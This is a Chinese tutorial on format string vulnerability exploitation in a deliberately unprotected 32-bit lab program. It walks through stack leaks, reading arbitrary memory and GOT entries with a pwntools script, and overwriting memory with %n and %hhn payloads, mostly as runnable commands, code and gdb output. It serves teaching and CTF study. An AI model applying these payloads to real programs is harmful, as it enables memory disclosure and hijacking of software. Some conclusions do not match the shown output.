格式化字符串漏洞利用之内存泄露与覆盖
简介
在格式化字符串漏洞中,攻击者通过向格式化字符串函数提供恶意构造的格式化字符串,利用了函数内部的漏洞,可能导致未授权的内存读取、内存泄漏、远程代码执行等安全问题。
漏洞的原因在于格式化字符串函数的参数中包含了类似于%s、%d等格式化占位符,用于指定要输出的变量类型和格式。然而,当攻击者能够控制格式化字符串的输入时,他们可以使用特殊的格式化占位符来读取或修改内存中的数据。
泄露内存
泄露栈内存
源程序
#include<stdio.h>
void main() {
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s", format);
printf(format, arg1, arg2, arg3, arg4);
printf("\n");
}
编译:
gcc -m32 -fno-stack-protector -no-pie -g -o formatSee formatSee.c
第一步:在printf函数处先下断点,r执行程序后输入%08x.%08x.%08x.%08x.%08x
,观察此时栈中的数据
gdb-peda$ b printf
Breakpoint 2 at 0xf7e50030
gdb-peda$ r
Starting program: /home/qufeng/Desktop/format/formatSee
%08x.%08x.%08x.%08x.%08x
[----------------------------------registers-----------------------------------]
EAX: 0xffffce34 ("%08x.%08x.%08x.%08x.%08x")
EBX: 0x0
ECX: 0x1
EDX: 0xf7fb887c --> 0x0
ESI: 0xf7fb7000 --> 0x1afdb0
EDI: 0xf7fb7000 --> 0x1afdb0
EBP: 0xffffcec8 --> 0x0
ESP: 0xffffcdfc --> 0x8048517 (<main+124>: add esp,0x20)
EIP: 0xf7e50030 (<printf>: call 0xf7f24389)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e5002b <fprintf+27>: ret
0xf7e5002c: xchg ax,ax
0xf7e5002e: xchg ax,ax
=> 0xf7e50030 <printf>: call 0xf7f24389
0xf7e50035 <printf+5>: add eax,0x166fcb
0xf7e5003a <printf+10>: sub esp,0xc
0xf7e5003d <printf+13>: mov eax,DWORD PTR [eax-0x68]
0xf7e50043 <printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add esp,0x20)
0004| 0xffffce00 --> 0xffffce34 ("%08x.%08x.%08x.%08x.%08x")
0008| 0xffffce04 --> 0x1
0012| 0xffffce08 --> 0x88888888
0016| 0xffffce0c --> 0xffffffff
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 ("%08x.%08x.%08x.%08x.%08x")
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0xf7e50030 in printf () from /lib32/libc.so.6
栈中的第一个数据是返回地址,第二个地址是格式化字符串的地址,第三个地址是arg1,第四个地址是arg2,第五个地址是arg3,第六个地址是arg4
结论:由于在 x86 上栈由高地址向低地址增长,而 printf()
函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 printf()
调用时出现的顺序是一致的。
第二步:程序继续运行,可以发现程序按照正常的顺序输出了arg1-4,同时也输出了ffffce34这个额外的栈内存
gdb-peda$ x /10x $esp
0xffffcdfc: 0x08048517 0xffffce34 0x00000001 0x88888888
0xffffce0c: 0xffffffff 0xffffce2a 0xffffce34 0x080481fc
0xffffce1c: 0xffffce88 0xf7ffda74
gdb-peda$ c
Continuing.
00000001.88888888.ffffffff.ffffce2a.ffffce34
[Inferior 1 (process 56926) exited with code 012]
格式字符串 %08x.%08x.%08x.%08x.%08x
表示函数 printf()
从栈中取出 5 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(arg1
)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,printf()
将显示当前执行函数的栈帧(包括返回地址和参数等)。
当然也可以使用 %p.%p.%p.%p.%p
得到相似的结果。
上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,可以使用如下格式:
%<arg#>$<format>
%n$x
其中n表示栈中格式字符串后面的第n个值,相对于输出函数来讲是第n+1个参数
第三步:printf处下断点后,r运行,输入%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p
,栈中的存储位置不会变,最终的输出结果与构造的格式化字符串理论的输出结果一致
[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add esp,0x20)
0004| 0xffffce00 --> 0xffffce34 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
0008| 0xffffce04 --> 0x1
0012| 0xffffce08 --> 0x88888888
0016| 0xffffce0c --> 0xffffffff
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0xf7e50030 in printf () from /lib32/libc.so.6
gdb-peda$ x /10x $esp
0xffffcdfc: 0x08048517 0xffffce34 0x00000001 0x88888888
0xffffce0c: 0xffffffff 0xffffce2a 0xffffce34 0x080481fc
0xffffce1c: 0xffffce88 0xf7ffda74
gdb-peda$ c
Continuing.
ffffffff.00000001.0x88888888.0x88888888.0xffffce2a.0xffffce34.0x80481fc
[Inferior 1 (process 56947) exited with code 012]
通过这种方法,我们可以得到栈上的任意值。
泄露任意地址内存
攻击者可以使用一个“显示指定地址的内存”的格式规范来查看任意地址的内存。例如,使用 %s
显示参数指针所指定的地址的内存,将它作为一个 ASCII 字符串处理,直到遇到一个空字符。如果攻击者能够操纵这个参数指针指向一个特定的地址,那么 %s
就会输出该位置的内存内容。
当然,并不是所有这样的都会正常运行,如果对应的变量不能够被解析为字符串地址,那么,程序就会直接崩溃
第一步:printf处下断点,输入AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
(类似于这种格式)测试,观察栈中的变化
[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add esp,0x20)
0004| 0xffffce00 --> 0xffffce34 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
0008| 0xffffce04 --> 0x1
0012| 0xffffce08 --> 0x88888888
0016| 0xffffce0c --> 0xffffffff
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0xf7e50030 in printf () from /lib32/libc.so.6
gdb-peda$ x /20x $esp
0xffffcdfc: 0x08048517 0xffffce34 0x00000001 0x88888888
0xffffce0c: 0xffffffff 0xffffce2a 0xffffce34 0x080481fc
0xffffce1c: 0xffffce88 0xf7ffda74 0x00000001 0x42413490
0xffffce2c: 0x00004443 0x00000000 0x41414141 0x2e70252e
0xffffce3c: 0x252e7025 0x70252e70 0x2e70252e 0x252e7025
gdb-peda$ x /20wb 0xffffce34
0xffffce34: 0x41 0x41 0x41 0x41 0x2e 0x25 0x70 0x2e
0xffffce3c: 0x25 0x70 0x2e 0x25 0x70 0x2e 0x25 0x70
0xffffce44: 0x2e 0x25 0x70 0x2e
gdb-peda$ c
Continuing.
AAAA.0x1.0x88888888.0xffffffff.0xffffce2a.0xffffce34.0x80481fc.0xffffce88.0xf7ffda74.0x1.0x42413490.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
[Inferior 1 (process 56960) exited with code 012]
栈中的参数存储位置没有变,其中可以发现格式化字符串存储在0xffffce34,查看这个内存地址中的内容,可以发现正是我们格式化字符串的ASCII码。而按照格式化字符串的输出格式,格式化字符串的值在输出结果的第13个位置开始。即如果使用 %13$s
即可读出 0x41414141
处的内容(因为这里使用的%p测试,如果使用%s测试,0x41414141是一个不可解析地址)
第二步:根据上面可知,字符串ABCD存储在0xffffce2a,测试输出这个地址中的字符串内容
qufeng@qufeng-virtual-machine:~/Desktop/format$ python2 -c 'print("\x2a\xce\xff\xff"+".%13$s")' > text222
[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add esp,0x20)
0004| 0xffffce00 --> 0xffffce34 --> 0xffffce2a ("ABCD")
0008| 0xffffce04 --> 0x1
0012| 0xffffce08 --> 0x88888888
0016| 0xffffce0c --> 0xffffffff
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 --> 0xffffce2a ("ABCD")
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0xf7e50030 in printf () from /lib32/libc.so.6
gdb-peda$ c
Continuing.
特殊字符.ABCD
[Inferior 1 (process 57148) exited with code 012]
栈中的第13个位置存放的是0xffffce2a,即我们输入的格式化字符串的第一部分,然后使用%s输出这个地址中的字符串内容ABCD
我们真正经常用到的地方是,把程序中某函数的 GOT 地址传进去,然后获得该地址所对应的函数的虚拟地址。然后根据函数在 libc 中的相对位置,计算出我们需要的函数地址(如 system()
)
第一步:查看重定向表
qufeng@qufeng-virtual-machine:~/Desktop/format$ readelf -r formatSee
Relocation section '.rel.dyn' at offset 0x2e8 contains 1 entries:
Offset Info Type Sym.Value Sym. Name
08049ffc 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a010 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a014 00000407 R_386_JUMP_SLOT 00000000 putchar@GLIBC_2.0
0804a018 00000507 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
第二步:.rel.plt
中有四个函数可供我们选择,逐个尝试
qufeng@qufeng-virtual-machine:~/Desktop/format$ python -c 'print("\x0c\xa0\x04\x08"+".%13$p")' | ./formatSee
特殊字符.0x2e0804a0
qufeng@qufeng-virtual-machine:~/Desktop/format$ python -c 'print("\x10\xa0\x04\x08"+".%13$p")' | ./formatSee
特殊字符.0x804a010
qufeng@qufeng-virtual-machine:~/Desktop/format$ python -c 'print("\x14\xa0\x04\x08"+".%13$p")' | ./formatSee
特殊字符.0x804a014
qufeng@qufeng-virtual-machine:~/Desktop/format$ python -c 'print("\x18\xa0\x04\x08"+".%13$p")' | ./formatSee
特殊字符.0x804a018
发现第一个最后输出的地址不是我们输入的地址,原因如下:
Oct Dec Hex Char
──────────────────────────────────────
014 12 0C FF '\f' (form feed)
有特殊含义,还有\x07
(’\a’)、\x08
(’\b’)、\x20
(SPACE)等
第三步:选择 __isoc99_scanf
qufeng@qufeng-virtual-machine:~/Desktop/format$ python -c 'print("\x18\xa0\x04\x08"+".%13$s")' > text333
gdb-peda$ r < text333
[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add esp,0x20)
0004| 0xffffce00 --> 0xffffce34 --> 0x804a018 --> 0xf7e625c0 (<__isoc99_scanf>: push ebp)
0008| 0xffffce04 --> 0x1
0012| 0xffffce08 --> 0x88888888
0016| 0xffffce0c --> 0xffffffff
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 --> 0x804a018 --> 0xf7e625c0 (<__isoc99_scanf>: push ebp)
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0xf7e50030 in printf () from /lib32/libc.so.6
gdb-peda$ c
Continuing.
特殊字符
[Inferior 1 (process 57278) exited with code 012]
可以得到__isoc99_scanf的虚拟地址为0xf7e625c0,可以通过x/w指令查看,由于0x804a018处仍然是一个指针地址,所以没有成功打印字符串
第四步:借助pwntools来得到正确格式的地址
from pwn import *
sh = process('./formatSee')
leakmemory = ELF('./formatSee')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%13$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%13$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()
运行结果:
qufeng@qufeng-virtual-machine:~/Desktop/format$ python formatSee.py
[+] Starting local process './formatSee': pid 58749
[*] '/home/qufeng/Desktop/format/formatSee'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
0x804a018
\x18\x04%13$s
[*] Process './formatSee' stopped with exit code 10 (pid 58749)
0xf7e165c0
覆盖内存
覆盖栈内容
尝试将 arg2
的值更改为任意值(比如 0x00000020
,十进制 32)
在 gdb 中可以看到得到 arg2
的地址 0xffffce08
,那么我们构造格式字符串 \x08\xce\xff\xff%08x%08x%012d%13$n
,其中 \x08\xce\xff\xff
表示 arg2
的地址,占 4 字节,%08x%08x
表示两个 8 字符宽的十六进制数,占 16 字节,%012d
占 12 字节,三个部分加起来就占了 4+16+12=32 字节,即把 arg2
赋值为 0x00000020
。格式字符串最后一部分 %13$n
也是最重要的一部分,和上面的内容一样,表示格式字符串的第 13 个参数,即写入 0xffffce08
的地方(0xffffce34
),printf()
就是通过这个地址找到被覆盖的内容
第一步:在printf处设置断点,这是执行printf之前的栈情况
[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add esp,0x20)
0004| 0xffffce00 --> 0xffffce34 --> 0xffffce08 --> 0x88888888
0008| 0xffffce04 --> 0x1
0012| 0xffffce08 --> 0x88888888
0016| 0xffffce0c --> 0xffffffff
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 --> 0xffffce08 --> 0x88888888
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
第二步:输入\x08\xce\xff\xff%08x%08x%012d%13$n
格式化字符串,printf函数执行后栈情况
[------------------------------------stack-------------------------------------]
0000| 0xffffce00 --> 0xffffce34 --> 0xffffce08 --> 0x20 (' ')
0004| 0xffffce04 --> 0x1
0008| 0xffffce08 --> 0x20 (' ')
0012| 0xffffce0c --> 0xffffffff
0016| 0xffffce10 --> 0xffffce2a ("ABCD")
0020| 0xffffce14 --> 0xffffce34 --> 0xffffce08 --> 0x20 (' ')
0024| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
0028| 0xffffce1c --> 0xffffce88 --> 0xf7e13dc8 --> 0x2b76 ('v+')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048517 in main () at formatSee.c:7
7 printf(format, arg1, arg2, arg3, arg4);
gdb-peda$ x /20x $esp
0xffffce00: 0xffffce34 0x00000001 0x00000020 0xffffffff
0xffffce10: 0xffffce2a 0xffffce34 0x080481fc 0xffffce88
0xffffce20: 0xf7ffda74 0x00000001 0x42413490 0x00004443
0xffffce30: 0x00000000 0xffffce08 0x78383025 0x78383025
0xffffce40: 0x32313025 0x33312564 0x00006e24 0xf7e969db
对比 printf() 函数执行前后的输出,printf 首先解析 %13$n 找到获得地址 0xffffce34 的值 0xffffce08,然后跳转到地址 0xffffce08,将它的值 0x88888888 覆盖为 0x00000020,就得到 arg2=0x00000020
覆盖任意地址内存
覆盖为小数字
尝试将arg2
的值更改为2(按照上面覆盖内存的方法,最少有地址占去了4个字节,那么比4小的数是否能够成功呢?)
前面是地址都位于格式字符串之前,这里可以产生尝试地址为格式化字符串之后
分析:"AA%15$nA"+"\x08\xce\xff\xff"
,开头的 AA
占两个字节,即将地址赋值为 2
,中间是 %15$n
占 5 个字节,这里不是 %13$n
,因为地址被我们放在了后面,在格式字符串的第 15 个参数,后面跟上一个 A
占用一个字节。于是前半部分总共占用了 2+5+1=8 个字节,刚好是两个参数的宽度,这里的 8 字节对齐十分重要。最后再输入我们要覆盖的地址 \x08\xce\xff\xff
第一步:在printf处设置断点,这是执行printf之前的栈情况
[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add esp,0x20)
0004| 0xffffce00 --> 0xffffce34 ("AA%15$nA\b\316\377\377")
0008| 0xffffce04 --> 0x1
0012| 0xffffce08 --> 0x88888888
0016| 0xffffce0c --> 0xffffffff
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 ("AA%15$nA\b\316\377\377")
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
第二步:输入AA%15$nA"+"\x08\xce\xff\xff
格式化字符串,printf函数执行后栈情况
[------------------------------------stack-------------------------------------]
0000| 0xffffce00 --> 0xffffce34 ("AA%15$nA\b\316\377\377")
0004| 0xffffce04 --> 0x1
0008| 0xffffce08 --> 0x2
0012| 0xffffce0c --> 0xffffffff
0016| 0xffffce10 --> 0xffffce2a ("ABCD")
0020| 0xffffce14 --> 0xffffce34 ("AA%15$nA\b\316\377\377")
0024| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
0028| 0xffffce1c --> 0xffffce88 --> 0xf7e13dc8 --> 0x2b76 ('v+')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048517 in main () at formatSee.c:7
7 printf(format, arg1, arg2, arg3, arg4);
gdb-peda$ x /20x $esp
0xffffce00: 0xffffce34 0x00000001 0x00000002 0xffffffff
0xffffce10: 0xffffce2a 0xffffce34 0x080481fc 0xffffce88
0xffffce20: 0xf7ffda74 0x00000001 0x42413490 0x00004443
0xffffce30: 0x00000000 0x31254141 0x416e2435 0xffffce08
0xffffce40: 0xffffce00 0x00000001 0x000000c2 0xf7e969db
对比 printf() 函数执行前后的输出,printf 首先解析 %15$n 找到获得地址 0xffffce3c 的值 0xffffce08,然后跳转到地址 0xffffce08,将它的值 0x88888888 覆盖为 0x00000002,就得到 arg2=0x00000002
覆盖为大数字
前面的方法直接输入一个地址的十进制就可以进行赋值,可是,这样占用的内存空间太大,往往会覆盖掉其他重要的地址而产生错误。其实我们可以通过长度修饰符来更改写入的值的大小:
char c;
short s;
int i;
long l;
long long ll;
printf("%s %hhn\n", str, &c); // 写入单字节
printf("%s %hn\n", str, &s); // 写入双字节
printf("%s %n\n", str, &i); // 写入4字节
printf("%s %ln\n", str, &l); // 写入8字节
printf("%s %lln\n", str, &ll); // 写入16字节
尝试写入 0x12345678
到地址 0xffffce10
,即覆盖ABCD字符
第一步:首先输入AAAABBBBCCCCDDDD
[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add esp,0x20)
0004| 0xffffce00 --> 0xffffce34 ("AAAABBBBCCCCDDDD")
0008| 0xffffce04 --> 0x1
0012| 0xffffce08 --> 0x88888888
0016| 0xffffce0c --> 0xffffffff
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 ("AAAABBBBCCCCDDDD")
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0xf7e50030 in printf () from /lib32/libc.so.6
gdb-peda$ x /20x $esp
0xffffcdfc: 0x08048517 0xffffce34 0x00000001 0x88888888
0xffffce0c: 0xffffffff 0xffffce2a 0xffffce34 0x080481fc
0xffffce1c: 0xffffce88 0xf7ffda74 0x00000001 0x42413490
0xffffce2c: 0x00004443 0x00000000 0x41414141 0x42424242
0xffffce3c: 0x43434343 0x44444444 0x00000000 0x000000c2
gdb-peda$ x /4wb 0xffffce08
0xffffce08: 0x88 0x88 0x88 0x88
第二步:构造payload
想要逐字节覆盖,就需要 4 个用于跳转的地址,4 个写入地址和 4 个值,对应关系如下(小端序):
0xffffce34:0x41414141替换成0xffffce08存放0x78 第13个参数
0xffffce38:0x42424242替换成0xffffce09存放0x56 第14个参数
0xffffce3c:0x43434343替换成0xffffce0a存放0x34 第15个参数
0xffffce40:0x44444444替换成0xffffce0b存放0x12 第16个参数
现在payload暂时为:
"\x08\xce\xff\xff"+"\x09\xce\xff\xff"+"\x0a\xce\xff\xff"+"\x0b\xce\xff\xff"
前面是4个写入地址,共4*4=16个字节。后面部分是写入部分,使用了hh
,故只会保留1个字节
第一个地址要存放0x78,故还需要输出104(16+104=120=0x78)
第二个地址要存放0x56,故还需要输出222(120+222=342=0x0156)
第三个地址要存放0x34,故还需要输出222(342+222=564=0x0234)
第四个地址要存放0x12,故还需要输出222(564+222=786=0x312)
最终payload:
python -c 'print("\x08\xce\xff\xff"+"\x09\xce\xff\xff"+"\x0a\xce\xff\xff"+"\x0b\xce\xff\xff"+"%104c%13$hhn"+"%222c%14$hhn"+"%222c%15$hhn"+"%222c%16$hhn")' >text222
第三步:执行,在printf处设置断点
scanf输入的值:
python -c 'print("\x2a\xce\xff\xff"+"\x2b\xce\xff\xff"+"\x2c\xce\xff\xff"+"\x2d\xce\xff\xff"+"%104c%13$hhn"+"%222c%14$hhn"+"%222c%15$hhn"+"%222c%16$hhn")' >text222
断点前:
[------------------------------------stack-------------------------------------]
0000| 0xffffcdfc --> 0x8048517 (<main+124>: add esp,0x20)
0004| 0xffffce00 --> 0xffffce34 --> 0xffffce2a ("ABCD")
0008| 0xffffce04 --> 0x1
0012| 0xffffce08 --> 0x88888888
0016| 0xffffce0c --> 0xffffffff
0020| 0xffffce10 --> 0xffffce2a ("ABCD")
0024| 0xffffce14 --> 0xffffce34 --> 0xffffce2a ("ABCD")
0028| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
断点后:
[------------------------------------stack-------------------------------------]
0000| 0xffffce00 --> 0xffffce34 --> 0xffffce2a --> 0x12345678
0004| 0xffffce04 --> 0x1
0008| 0xffffce08 --> 0x88888888
0012| 0xffffce0c --> 0xffffffff
0016| 0xffffce10 --> 0xffffce2a --> 0x12345678
0020| 0xffffce14 --> 0xffffce34 --> 0xffffce2a --> 0x12345678
0024| 0xffffce18 --> 0x80481fc --> 0x38 ('8')
0028| 0xffffce1c --> 0xffffce88 --> 0xf7e13dc8 --> 0x2b76 ('v+')
[------------------------------------------------------------------------------]
成功更改arg2的值
注:
- 首先是需要关闭整个系统的 ASLR 保护,这可以保证栈在 gdb 环境中和直接运行中都保持不变,但这两个栈地址不一定相同
- 其次因为在 gdb 调试环境中的栈地址和直接运行程序是不一样的,所以我们需要结合格式化字符串漏洞读取内存,先泄露一个地址出来,然后根据泄露出来的地址计算实际地址
也可以使用脚本:
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)
其中每个参数的含义基本如下:
- offset 表示要覆盖的地址最初的偏移
- size 表示机器字长
- addr 表示将要覆盖的地址。
- target 表示我们要覆盖为的目的变量值。
参考
https://in1t0.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit